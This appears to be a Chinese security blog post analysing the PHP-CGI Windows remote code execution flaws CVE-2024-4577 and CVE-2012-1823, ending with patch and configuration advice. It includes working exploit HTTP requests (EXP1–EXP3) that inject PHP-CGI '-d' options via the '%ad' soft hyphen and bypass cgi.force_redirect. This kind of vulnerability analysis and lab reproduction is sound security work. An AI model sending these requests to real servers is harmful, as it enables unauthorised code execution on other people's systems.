深入解析PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577|CVE-2012-1823)
heguiyu 发表于 广东 技术文章 4883浏览 · 2024-07-08 07:26

漏洞描述

PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当PHP运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823 保护,从而可在无需登陆的情况下执行任意PHP代码。
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)是2024-06-07披露的漏洞,阿里云漏洞库评分给到9.5

漏洞背景

1.CVE-2012-1823

CVE-2012-1823是CVE-2024-4577的前身,CVE-2024-4577就是在CVE-2012-1823的修复上进行绕过而诞生的。对CVE-2012-1823进行分析有利于我们理解CVE-2024-4577。

  • CVE-2012-1823的影响范围:

    php < 5.3.12
    php < 5.4.2
  • PHP-CGI

    PHP-CGI(Common Gateway interface 通用网关接口)是一种通过CGI协议运行PHP脚本的方式。它起到一个类似消息转发的作用,将Web 服务器收到的数据转发给PHP解释器执行,将PHP解释器执行的结果发送给Web 服务器。

    PHP-CGI 提供两种交互模式:

    • CGI模式:

      这最初始交互方式,Web服务器每次收到请求时,都会请求一个PHP-CGI进程,处理完请求,将结果返回给Web服务器,最后关闭PHP-CGI进程

    • FastCGI模式:

      CGI方式的改进版,FastCGI可以常驻后台运行,并通过FastCGI协议接受请求,返回执行结果,不会自己退出进程。

    虽然PHP-CGI提供了对运行环境的更多控制,但性能和扩展性不如现代的PHP-FPM(FastCGI Process Manager)。PHP-FPM如今更常用,因为它效率更高,适合高并发环境。

    假设服务器启用了PHP-CGI处理请求,并接收到如下的HTTP请求:

    http://example.com/index.php?foo=bar
    

    那么该请求就会被解析为PHP-CGI命令执行:

    php-cgi.exe index.php foo=bar
    
  • 漏洞成因

    从官方的补丁进行分析,修复如下

    从官方补丁中可以看到,主要的修改就是对字符“-”进行的过滤,绕过字符串中开头为“-”,且字符串中不包含“=”,那么就判定skip_getopt = 1,即跳过该请求的处理。

    我们还需结合PHP-CGI进行分析,为什么“-”会导致PHP-CGI远程代码执行漏洞。

    PHP-CGI是一个可执行文件,通常在php的安装目录下与php一起.

    用cmd打开该文件夹输入php-cgi.exe -h

    $php-cgi.exe -h
    Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
           php-cgi <file> [args...]
      -a               Run interactively
      -b <address:port>|<port> Bind Path for external FASTCGI Server mode // 以交互模式运行。
      -C               Do not chdir to the script directory             // 为外部FASTCGI服务器模式绑定路径。
      -c <path>|<file> Look for php.ini file in this directory            // 在指定目录或文件中查找 php.ini 配置文件。
      -n               No php.ini file will be used                       // 不使用任何 php.ini 文件。
      -d foo[=bar]     Define INI entry foo with value 'bar'              // 定义INI条目 foo 并设置其值为 'bar'。
      -e               Generate extended information for debugger/profiler// 为调试器/分析器生成扩展信息。
      -f <file>        Parse <file>.  Implies '-q'                       //  解析指定的 <file>。隐含 -q 选项。
      -h               This help                                          // 显示帮助信息。
      -i               PHP information                                    // 显示PHP信息。
      -l               Syntax check only (lint)                           // 仅进行语法检查(lint)。
      -m               Show compiled in modules                           // 显示编译进PHP的模块。
      -q               Quiet-mode.  Suppress HTTP Header output.          // 静默模式。抑制HTTP头输出。
      -s               Display colour syntax highlighted source.          // 显示带有颜色语法高亮的源代码。
      -v               Version number                                     // 显示版本号。
      -w               Display source with stripped comments and whitespace.//显示剥离了注释和空白的源代码。
      -z <file>        Load Zend extension <file>.                         // 加载Zend扩展 <file>。
      -T <count>       Measure execution time of script repeated <count>times.//测量脚本重复 <count> 次的执行时间。

    由此可知,"-d"可以在运行时修改配置,那就可以通过修改配置文件的allow_url_includeauto_prepend_file配置来达到远程命令执行的目的。

    假如开启了 PHP-CGI功能,可以构造以下请求执行任意代码:

    POST /index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTTP/1.1
    Host: host
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 19
    
    <?php phpinfo(); ?>
    

    调用PHP-CGI后相当于:

    php-cgi index.php -d allow_url_include=1 -d auto_prepend_file=php://input
    

    allow_url_include=1允许php通过url包含文件。

    auto_prepend_file=php://input指定了包含的文件,而=php://input是一个特殊的流,他会接受POST请求中的数据(如:<?php phpinfo();?>),表示php脚本会先执行POST请求中的数据,最终导致远程代码执行。

    简单来说,这个漏洞发生在 PHP-CGI 解析 HTTP 请求的 query string(URL 中的查询参数部分) 时。如果 query string 中包含了 PHP-CGI 的配置指令,这些指令可能会被错误地解释和执行。这通常是因为 PHP-CGI 在处理 CGI 参数时没有正确地进行过滤或转义。

2.字符编码的Best Fit特性

在Windows系统上,字符编码的Best Fit特性是指操作系统处理字符映射的一种行为。由于不同地区的语言需求,Windows实现的一种字符编码的Best Fit机制,用于不同字符集之间的最佳匹配。

具体操作为,当一种字符在当前字符集是不存在时,那么系统就会匹配与该字符最接近的字符进行替代。

漏洞分析

1.影响范围

PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x

2.漏洞条件

  • Window服务器使用以下字节编码

    • 繁体中文 (字码页 950)
    • 简体中文 (字码页 936)
    • 日文 (字码页 932)

    使用chcp命令查看当前活动代码页

    $chcp
    活动代码页: 936

    CVE-2012-1823的补丁中可以看到对-符号做了过滤,但是忽略了Windows平台的字符编码转换的Best Fit特性,如简体中文 (字码页 936)):

    ...
    0x00a7    0xa1ec  ;��
    0x00a8    0xa1a7  ;��
    0x00aa    0x0061  ;a
    0x00ad    0x002d  ;-
    0x00af    0xa1a5  ;��
    0x00b0    0xa1e3  ;��
    0x00b1    0xa1c0  ;��
    ...

    在上面中我们可以看到,如果我们发送的是十六进制字符0xad,那这个字符就会转换为-,而CVE-2012-1823的补丁中只是简单的对字符的ASCII码进行比较,忽略了Windows平台的字符编码转换的Best Fit特性,导致CVE-2012-1823的补丁被绕过,因而产生了CVE-2024-4577。

    在CVE-2024-4577的补丁中我们也可以看到官方对此情况的修复

    我们可以看到,官方在简单过滤-的基础上,还对0x80以上的字符进行了限制,避免因Windows平台的字符编码转换的Best Fit特性导致远程代码执行。

  • 使用PHP-CGI解析请求

    有以下两种情景:

    • 以CGI模式运行的PHP环境
    • 将PHP的执行程序暴露在外 - XAMPP默认配置

漏洞复现

接下来将对使用PHP-CGI解析请求的两种情景进行复现

1.以CGI模式运行的PHP环境

这是一个很少见的场景,在2024年已经很难找到以一个以CGI模式运行的PHP环境

如果要使用CGI模式运行的PHP,那么我们需要修改配置,开启此功能

复现环境

windows 10 简体中文(字码页 936)
XAMPP 8.2.12 / PHP 8.2.12

安装XAMPP

XAMPP搭建环境比较简单,这里我是用XAMPP 8.2.12 / PHP 8.2.12版本,你也可以选择其他版本进行复现。

安装并运行XAMPP

启用CGI解析请求

打开apache的httpd-xampp.conf配置文件

找到以下内容取消注释,即可使用GI模式运行的PHP:

#<FilesMatch "\.php$">
#    SetHandler application/x-httpd-php-cgi
#</FilesMatch>
#<IfModule actions_module>
#    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
#</IfModule>

如下图所示:

点击apache的start启动web服务

由Windows平台的字符编码转换的Best Fit特性可知,传入的%ad,会被转换为-,后面的内容会被当做PHP-CGI 的配置指令。

EXP1:

POST /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.217.139
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

<?php phpinfo();?>

使用burp发送请求,

%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input

会被PHP-CGI解析成以下内容:

-d allow_url_include=on -d auto_prepend_file=php://input

allow_url_include=1允许php通过url包含文件。

auto_prepend_file=php://input指定了包含的文件,而=php://input是一个特殊的流,他会接受POST请求中的数据(如:<?php phpinfo();?>),表示php脚本会先执行POST请求中的数据,最终导致远程代码执行。

2.将PHP-CGi暴露在外

将PHP的执行程序直接暴露在web目录里,这是一个很特殊的场景,但是恰好Xampp有一个默认配置可以达到这个效果

我们可以在xampp的http-xampp.conf文件中可以看到:

ScriptAlias /php-cgi/ "C:/www/php/"
<Directory "C:/www/php">
    AllowOverride None
    Options None
    Require all denied
    <Files "php-cgi.exe">
          Require all granted
    </Files>
</Directory>

这段配置是将url/php-cgi/映射到C:/www/php/中,并限制只能访问C:/www/php/中的php-cgi.exe

当我们直接访问/php-cgi/php-cgi.exe时,发现会报错

那是因为php配置中添加了一个新的配置项cgi.force_redirect,这是php的一个自我保护机制,该设定的默认值为cgi.force_redirect=1,表示只有经过重定向的请求才可以执行,不能够由请求直接执行。

php配置文件如下图所示:

如果我们要绕过该保护机制,我们需要从源码进行分析,PHP-CGI源码如下:

从源码中我们可以看出,我们需要绕过该php自我保护机制由两种方法。

一种是令cgi.force_redirect=0,这是最直接的方法。

我们前面已经实现的了利用-d对php的配置项进行修改,既然cgi.force_redirect也是php的一个配置项,那么我们不就可以利用-d,直接设置cgi.force_redirect=0

EXP2:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20


<?php phpinfo();?>

%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

解析成:

-d cgi.force_redirect=0 -d allow_url_include=on -d auto_prepend_file=php://input

另一种是设置REDIRECT-STATUS请求头。

我们回到源码中,可以看到除了force_redirect分支,如果可以确定REDIRECT_STATUSHTTP_REDIRECT_STATUS有值,也可以跳出force_redirect分支。

通常来说REDIRECT_STATUSHTTP_REDIRECT_STATUS是由web设置的,但是我们可以通过burp等抓包软件对http请求头添加。

EXP3:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
REDIRECT-STATUS: 1

<?php phpinfo();?>


由于Xampp的这个默认配置,导致运行在简体中文、繁体中文和日语的window平台下的XAMPP服务基本全军覆没。

修复建议

  1. 官方已经发布了新版本8.3.8、8.2.20、8.1.29
  2. 对于XAMPP Windows的用户,在确认业务不使用PHP-CGI的前提下,修改http-xampp.conf的配置,注释如下内容:
    #ScriptAlias /php-cgi/ "C:/www/php/"
0 条评论
某人
表情
可输入 255